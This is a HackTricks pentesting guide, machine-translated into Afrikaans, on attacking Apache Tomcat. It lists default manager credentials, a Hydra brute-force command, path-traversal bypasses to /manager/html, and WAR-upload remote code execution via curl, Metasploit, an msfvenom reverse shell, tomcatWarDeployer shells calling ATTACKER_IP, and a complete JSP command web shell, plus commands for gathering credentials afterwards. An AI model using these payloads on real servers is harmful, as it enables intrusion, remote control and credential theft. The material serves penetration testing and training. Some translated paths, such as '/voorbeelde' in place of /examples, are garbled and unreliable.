hacktricks/network-services-pentesting/pentesting-web/tomcat/README.md

11 KiB

Tomcat

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Ontdekking

  • Dit hardloop gewoonlik op poort 8080
  • Gewone Tomcat-fout:

Enumerasie

Weergawe-identifikasie

Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige bevel uitgevoer word:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Bestuurslêers Ligging

Die identifisering van die presiese ligging van die /bestuurder en /gasheer-bestuurder gids is noodsaaklik aangesien hul name verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye op te spoor.

Gebruikersnaam Opsomming

Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname op te som deur:

msf> use auxiliary/scanner/http/tomcat_enum

Verstek Wagwoorde

Die /manager/html gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids word beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Hierdie wagwoorde kan getoets word met behulp van:

msf> use auxiliary/scanner/http/tomcat_mgr_login

'n Ander opmerklike gids is /manager/status, wat die Tomcat- en OS-weergawe vertoon, wat help met die identifisering van kwesbaarhede.

Brute Force-aanval

Om 'n brute force-aanval op die bestuursgids te probeer, kan mens gebruik:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Algemene Kwesbaarhede

Wagwoord Terugsporing Blootstelling

Toegang tot /auth.jsp kan die wagwoord in 'n terugsporing onthul onder gunstige omstandighede.

Dubbele URL-kodering

Die kwesbaarheid CVE-2007-1860 in mod_jk maak dubbele URL-kodering padtraversal moontlik, wat ongemagtigde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.

Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: pathTomcat/%252E%252E/manager/html

/voorbeelde

Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingsblootstelling en kruisskripsaanvalle (XSS). Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind meer inligting hier

  • /voorbeelde/jsp/num/numguess.jsp
  • /voorbeelde/jsp/dates/date.jsp
  • /voorbeelde/jsp/snp/snoop.jsp
  • /voorbeelde/jsp/error/error.html
  • /voorbeelde/jsp/sessions/carts.html
  • /voorbeelde/jsp/checkbox/check.html
  • /voorbeelde/jsp/colors/colors.html
  • /voorbeelde/jsp/cal/login.html
  • /voorbeelde/jsp/include/include.jsp
  • /voorbeelde/jsp/forward/forward.jsp
  • /voorbeelde/jsp/plugin/plugin.jsp
  • /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp
  • /voorbeelde/jsp/simpletag/foo.jsp
  • /voorbeelde/jsp/mail/sendmail.jsp
  • /voorbeelde/servlet/HelloWorldExample
  • /voorbeelde/servlet/RequestInfoExample
  • /voorbeelde/servlet/RequestHeaderExample
  • /voorbeelde/servlet/RequestParamExample
  • /voorbeelde/servlet/CookieExample
  • /voorbeelde/servlet/JndiServlet
  • /voorbeelde/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Padtraversal-uitbuiting

In sommige kwesbare opsette van Tomcat kan jy toegang tot beskermde gids in Tomcat verkry deur die pad: /..;/

Dus, byvoorbeeld, kan jy moontlik die Tomcat-bestuurder-bladsy toegang deur te gaan na: www.vulnerable.com/lalala/..;/manager/html

'n Ander manier om beskermde paaie te verby te gaan deur hierdie truuk te gebruik, is om toegang te verkry tot http://www.vulnerable.com/;param=value/manager/html

RCE

Laastens, as jy toegang het tot die Tomcat-webtoepassingsbestuurder, kan jy 'n .war-lêer oplaai en ontplooi (kode uitvoer).

Beperkings

Jy sal slegs 'n WAR kan ontplooi as jy genoeg voorregte het (rolle: admin, bestuurder en bestuurder-skrips). Hierdie besonderhede kan gevind word onder tomcat-users.xml gewoonlik gedefinieer in /usr/share/tomcat9/etc/tomcat-users.xml (dit wissel tussen weergawes) (sien POST afdeling).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Omgekeerde Skul

  1. Skep die oorlog om te ontplooi:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Laai die revshell.war lêer op en kry toegang daartoe (/revshell/):

Bind en omgekeerde dop met tomcatWarDeployer.py

In sommige scenarios werk dit nie (byvoorbeeld ou weergawes van sun)

Aflaai

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Omgekeerde dopshell

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind skul

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Gebruik Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Handmatige metode - Web shell

Skep index.jsp met hierdie inhoud:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Handleiding Metode 2

Kry 'n JSP-webshell soos hierdie en skep 'n WAR-lêer:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Naam van Tomcat-geloofsbriewe lêer is tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Ander maniere om Tomcat-gedragskode te versamel:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Ander tomcat skandering gereedskap

Verwysings

Probeer Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!